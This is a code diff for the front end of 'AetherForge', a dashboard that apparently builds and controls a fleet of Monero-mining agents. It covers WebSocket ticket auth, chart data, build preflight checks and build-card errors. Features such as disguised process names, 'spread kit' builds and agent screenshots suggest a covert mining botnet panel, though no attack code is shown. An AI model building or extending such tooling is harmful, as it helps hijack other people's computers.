[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[]; items: { id: string; label: string; ok: boolean; time?: string }[];
} }
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) { export function ActivityPulse({ items }: ActivityPulseProps) {
if (items.length === 0) { if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>; return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
} }
return ( return (
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}> <div className="activity-pulse">
{items.slice(0, 12).map((item) => ( {items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}> <div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" /> <span className="activity-blip-core" />

View File

@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
useForge: vi.fn(() => ({ forging: false, stage: '' })), useForge: vi.fn(() => ({ forging: false, stage: '' })),
})); }));
vi.mock('../api/download', () => ({ vi.mock('../api/download', () => {
downloadApiFile: vi.fn(), const downloadAuthedFile = vi.fn();
downloadAuthedFile: vi.fn(), return {
})); downloadAuthedFile,
downloadApiFile: downloadAuthedFile,
};
});
vi.mock('../api/auth', () => ({ vi.mock('../api/auth', async (importOriginal) => {
getStoredAuth: vi.fn(), const actual = await importOriginal<typeof import('../api/auth')>();
setStoredAuth: vi.fn(), return {
})); ...actual,
getStoredAuth: vi.fn(),
setStoredAuth: vi.fn(),
};
});
vi.mock('qrcode', () => ({ vi.mock('qrcode', () => ({
default: { default: {
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
); );
const btn = screen.getByRole('button', { name: 'Save' }); const btn = screen.getByRole('button', { name: 'Save' });
await userEvent.setup().click(btn); await userEvent.setup().click(btn);
await waitFor(() => { expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
});
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin')); await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
}); });
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
it('renders children when stored auth validates', async () => { it('renders children when stored auth validates', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA=='); getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true })); vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
render( render(
<SessionGate> <SessionGate>
<div>protected</div> <div>protected</div>
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
); );
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument()); await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
}); });
it('keeps session on network blip during startup validation', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
render(
<SessionGate>
<div>protected</div>
</SessionGate>
);
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
});
}); });
describe('GaugeRing', () => { describe('GaugeRing', () => {
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => { it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />); render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument(); expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument(); expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
}); });
it('renders chart with validated sample series', () => { it('renders chart with validated sample series', () => {
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
render( render(
<HashrateChart <HashrateChart
data={sample} data={sample}
displayMode="sample" displayMode="live"
title="Fleet Hash" title="Fleet Hash"
color="#00f5ff" color="#00f5ff"
unit="H/s" unit="H/s"
/> />
); );
expect(screen.getByText(/PEAK/)).toBeInTheDocument(); expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument(); expect(screen.getByText(/LIVE/)).toBeInTheDocument();
}); });
it('renders chart with data points', () => { it('renders chart with data points', () => {

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom * @vitest-environment happy-dom
*/ */
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { act, render, renderHook } from '@testing-library/react'; import { act, render, renderHook, waitFor } from '@testing-library/react';
import { WebSocketProvider } from './WebSocketProvider'; import { WebSocketProvider } from './WebSocketProvider';
import { useWebSocketContext } from './WebSocketContext'; import { useWebSocketContext } from './WebSocketContext';
import { useWebSocket } from '../hooks/useWebSocket'; import { useWebSocket } from '../hooks/useWebSocket';
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
MockWebSocket.instances = []; MockWebSocket.instances = [];
setStoredAuth('testuser', 'testpass', { silent: true }); setStoredAuth('testuser', 'testpass', { silent: true });
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket); vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
Object.defineProperty(window, 'location', { Object.defineProperty(window, 'location', {
value: { protocol: 'http:', host: 'localhost:8080' }, value: { protocol: 'http:', host: 'localhost:8080' },
configurable: true, configurable: true,
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
return MockWebSocket.instances.at(-1)!; return MockWebSocket.instances.at(-1)!;
} }
async function waitForSocket() {
await waitFor(() => {
expect(MockWebSocket.instances.length).toBeGreaterThan(0);
});
return latestSocket();
}
function wrapper({ children }: { children: React.ReactNode }) { function wrapper({ children }: { children: React.ReactNode }) {
return <WebSocketProvider>{children}</WebSocketProvider>; return <WebSocketProvider>{children}</WebSocketProvider>;
} }
it('connects to ws dashboard with auth token query param', () => { it('connects to ws dashboard with auth token query param', async () => {
setStoredAuth('drjones', 'secret'); setStoredAuth('drjones', 'secret');
MockWebSocket.instances = []; MockWebSocket.instances = [];
const { result } = renderHook(() => useWebSocketContext(), { wrapper }); const { result } = renderHook(() => useWebSocketContext(), { wrapper });
const ws = latestSocket(); const ws = await waitForSocket();
const token = btoa('drjones:secret'); const token = btoa('drjones:secret');
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`); expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
expect(useWebSocket).toBe(useWebSocketContext); expect(useWebSocket).toBe(useWebSocketContext);
}); });
it('handles init and agent_online messages', () => { it('handles init and agent_online messages', async () => {
const agent = mockAgent({ id: 'live-1' }); const agent = mockAgent({ id: 'live-1' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper }); const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => { act(() => {
latestSocket().emitOpen(); latestSocket().emitOpen();
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
expect(result.current.agents[0].hashrate_15s).toBe(999); expect(result.current.agents[0].hashrate_15s).toBe(999);
}); });
it('marks agent offline and caps recent shares', () => { it('marks agent offline and caps recent shares', async () => {
const agent = mockAgent({ id: 'a-offline' }); const agent = mockAgent({ id: 'a-offline' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper }); const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => { act(() => {
latestSocket().emitOpen(); latestSocket().emitOpen();
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
expect(result.current.recentShares.length).toBeLessThanOrEqual(50); expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
}); });
it('assigns monotonic _seq on command_result', () => { it('assigns monotonic _seq on command_result', async () => {
const { result } = renderHook(() => useWebSocketContext(), { wrapper }); const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => { act(() => {
latestSocket().emitOpen(); latestSocket().emitOpen();
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
expect(result.current.agentLogs.a1).toBe('log data'); expect(result.current.agentLogs.a1).toBe('log data');
}); });
it('schedules reconnect after close', () => { it('schedules reconnect after close', async () => {
vi.useFakeTimers();
MockWebSocket.instances = []; MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper }); renderHook(() => useWebSocketContext(), { wrapper });
const first = latestSocket(); const first = await waitForSocket();
act(() => first.close()); act(() => first.close());
expect(MockWebSocket.instances).toHaveLength(1); expect(MockWebSocket.instances).toHaveLength(1);
act(() => vi.advanceTimersByTime(3000)); await act(async () => {
expect(MockWebSocket.instances).toHaveLength(2); await new Promise((r) => setTimeout(r, 3100));
vi.useRealTimers(); });
}); await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
}, 10000);
it('closes socket on unmount', () => { it('closes socket on unmount', async () => {
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close'); const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>); const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
await waitForSocket();
unmount(); unmount();
expect(closeSpy).toHaveBeenCalled(); expect(closeSpy).toHaveBeenCalled();
}); });

View File

@@ -9,7 +9,7 @@ import type {
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext'; import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext'; import type { SeqCommandResult } from './WebSocketContext';
import { getStoredAuth } from '../api/auth'; import { authHeaders, getStoredAuth } from '../api/auth';
/** /**
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app. * WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const existing = wsRef.current; const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) { if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.onclose = null;
existing.close(); existing.close();
} }
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; const openSocket = async () => {
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`; const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const ws = new WebSocket(wsUrl); let wsQuery = `token=${encodeURIComponent(token)}`;
wsRef.current = ws; try {
const resp = await fetch('/api/v1/auth/ws-ticket', {
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); }; method: 'POST',
headers: authHeaders(),
ws.onclose = () => { });
if (resp.ok) {
const data = (await resp.json()) as { ticket?: string };
if (data.ticket) {
wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
}
}
} catch {
/* fall back to legacy token query param */
}
if (unmounted.current) return; if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); }; const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
ws.onmessage = (event) => { ws.onmessage = (event) => {
try { try {
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
console.error('Failed to parse WebSocket message:', err); console.error('Failed to parse WebSocket message:', err);
} }
}; };
};
void openSocket();
}, []); }, []);
useEffect(() => { useEffect(() => {

View File

@@ -5,8 +5,6 @@ import {
resolveChartSeries, resolveChartSeries,
chartSeriesDelta, chartSeriesDelta,
chartSeriesPeak, chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData'; } from './chartSampleData';
describe('chartSampleData', () => { describe('chartSampleData', () => {
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
expect(chartSeriesPeak(series)).toBeGreaterThan(0); expect(chartSeriesPeak(series)).toBeGreaterThan(0);
}); });
it('hashrate sample trends upward (mining ramp)', () => { it('resolveChartSeries returns empty when live is empty', () => {
const series = generateSampleSeries('hashrate', 48); const { data, mode } = resolveChartSeries([]);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value); expect(mode).toBe('empty');
const delta = chartSeriesDelta(series); expect(data).toHaveLength(0);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
}); });
it('accept sample stays in realistic pool band', () => { it('resolveChartSeries returns live slice when data exists', () => {
const series = generateSampleSeries('accept', 48); const live = generateSampleSeries('cpu', 20);
for (const p of series) { const { data, mode } = resolveChartSeries(live);
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
expect(mode).toBe('live'); expect(mode).toBe('live');
expect(data.length).toBe(20); expect(data.length).toBe(20);
}); });
it('preview constants are internally consistent', () => { it('chartSeriesDelta computes trend', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0); const series = generateSampleSeries('hashrate', 48);
expect(totalPct).toBeGreaterThan(98); const delta = chartSeriesDelta(series);
expect(totalPct).toBeLessThan(102); expect(delta).not.toBeNull();
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000); expect(delta!).toBeGreaterThan(0);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
}); });
}); });

View File

@@ -1,41 +1,8 @@
import type { ChartPoint } from '../components/Charts/HashrateChart'; import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu'; export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend'; export type ChartDisplayMode = 'live' | 'empty';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
function formatTime(offsetMin: number): string { function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000); const d = new Date(Date.now() - offsetMin * 60_000);
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6); return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
} }
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */ /** Test-only synthetic series (not used in production UI). */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] { export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = []; const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) { for (let i = points - 1; i >= 0; i--) {
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
return { ok: errors.length === 0, errors }; return { ok: errors.length === 0, errors };
} }
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean { /** Live telemetry only — no sample or blended filler in the dashboard. */
if (live.length < MIN_LIVE_POINTS) return false; export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
const validation = validateChartSeries(live); const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind); if (!validation.ok || live.length === 0) {
return { data: [], mode: 'empty' };
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
} }
return { data: live.slice(-60), mode: 'live' };
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
} }
export function chartSeriesDelta(data: ChartPoint[]): number | null { export function chartSeriesDelta(data: ChartPoint[]): number | null {

View File

@@ -1,5 +1,6 @@
import { describe, expect, it } from 'vitest'; import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility'; import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { runForgePreflight } from './forgeValidation';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types'; import type { BuildRequest } from '../types';
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true); expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
}); });
it('errors when worker name is empty', () => { it('errors when worker name is empty (preflight)', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true); const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
}); });
it('errors when server URL uses localhost', () => { it('errors when server URL uses localhost (preflight)', () => {
expect( const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error') expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
).toBe(true);
}); });
it('errors when server URL uses 127.0.0.1', () => { it('errors when server URL uses 127.0.0.1 (preflight)', () => {
expect( const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error') expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
).toBe(true);
}); });
it('warns when wallet does not match Monero format', () => { it('warns when wallet does not match Monero format (preflight)', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true); const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
}); });
it('accepts minimum-length wallet (90 chars)', () => { it('accepts minimum-length wallet (90 chars) in preflight', () => {
const wallet = '4' + 'A'.repeat(89); const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90); expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false); const checks = runForgePreflight(baseForm({ wallet }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
}); });
it('accepts subaddress starting with 8', () => { it('accepts subaddress starting with 8 in preflight', () => {
const subaddress = '8' + 'B'.repeat(94); const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false); const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
}); });
it('emits forge_ready when core config is coherent', () => { it('emits forge_ready when core config is coherent', () => {

View File

@@ -1,11 +1,6 @@
import type { BuildRequest } from '../types'; import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation'; import type { PreflightCheck } from './forgeValidation';
import { looksLikeXMRWallet } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard Monero addresses start with 4, subaddresses with 8
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}
/** Extra incompatibility checks beyond basic validation. */ /** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] { export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
const workerName = form.worker_name || ''; const workerName = form.worker_name || '';
const serverUrl = form.server_url || ''; const serverUrl = form.server_url || '';
if (!workerName.trim()) {
checks.push({
id: 'worker_name_empty',
level: 'error',
message: 'Worker Name is required. This identifies the machine in your fleet.',
});
}
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'server_url_localhost',
level: 'error',
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
});
}
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
});
}
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) { if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
checks.push({ checks.push({
id: 'forge_ready', id: 'forge_ready',

View File

@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
]; ];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable { export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.fusion_enabled) return 'fusion';
if (form.spread_kit) return 'spread_kit'; if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single'; return 'single';
} }

View File

@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
if (!form.wallet.trim()) { if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' }); checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) { } else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' }); checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else { } else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' }); checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
} }

View File

@@ -113,6 +113,14 @@ export default function AgentsPage() {
[agents] [agents]
); );
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
useEffect(() => { useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return; if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current; const watch = screenshotWatchId.current;
@@ -516,7 +524,13 @@ export default function AgentsPage() {
</div> </div>
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">Wallet</span> <span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span> <span className="detail-value mono">
{selectedAgent.wallet
? selectedAgent.wallet.length > 24
? `${selectedAgent.wallet.slice(0, 20)}`
: selectedAgent.wallet
: '—'}
</span>
</div> </div>
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">IP Address</span> <span className="detail-label">IP Address</span>
@@ -597,9 +611,7 @@ export default function AgentsPage() {
time: new Date(s.timestamp).toLocaleTimeString(), time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate, value: s.hashrate,
})); }));
const chart = resolveChartSeries(live, 'hashrate', { const chart = resolveChartSeries(live);
tailValue: selectedAgent.hashrate_15m,
});
return ( return (
<HashrateChart <HashrateChart
title="" title=""

View File

@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
); );
} }
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) { function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
const [confirming, setConfirming] = useState(false); const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false); const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null); const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => { const handleClick = async () => {
if (!confirming) { if (!confirming) {
setConfirming(true); setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000); timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else { return;
if (timerRef.current) clearTimeout(timerRef.current); }
setBusy(true); if (timerRef.current) clearTimeout(timerRef.current);
api.deleteBuild(buildId).finally(() => { setBusy(true);
setBusy(false); try {
setConfirming(false); await api.deleteBuild(buildId);
onDeleted(); onDeleted();
}); } catch (e) {
onError(e instanceof Error ? e.message : 'Failed to delete build');
} finally {
setBusy(false);
setConfirming(false);
} }
}; };
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
type="button" type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`} className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy} disabled={busy}
onClick={handleClick} onClick={() => void handleClick()}
title="Delete this build from server" title="Delete this build from server"
> >
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'} {busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
); );
} }
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) { function PinButton({
buildId,
pinned,
onPinned,
onError,
}: {
buildId: string;
pinned: boolean;
onPinned: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false); const [busy, setBusy] = useState(false);
const handleClick = async () => { const handleClick = async () => {
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
} }
onPinned(); onPinned();
} catch (e) { } catch (e) {
console.error(e); onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
} finally { } finally {
setBusy(false); setBusy(false);
} }
@@ -145,12 +159,14 @@ function BuildCard({
onReforge, onReforge,
onDeleted, onDeleted,
onPinned, onPinned,
onActionError,
}: { }: {
build: BuildRecord; build: BuildRecord;
serverBase: string; serverBase: string;
onReforge: (b: BuildRecord) => void; onReforge: (b: BuildRecord) => void;
onDeleted: () => void; onDeleted: () => void;
onPinned: () => void; onPinned: () => void;
onActionError: (msg: string) => void;
}) { }) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`; const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
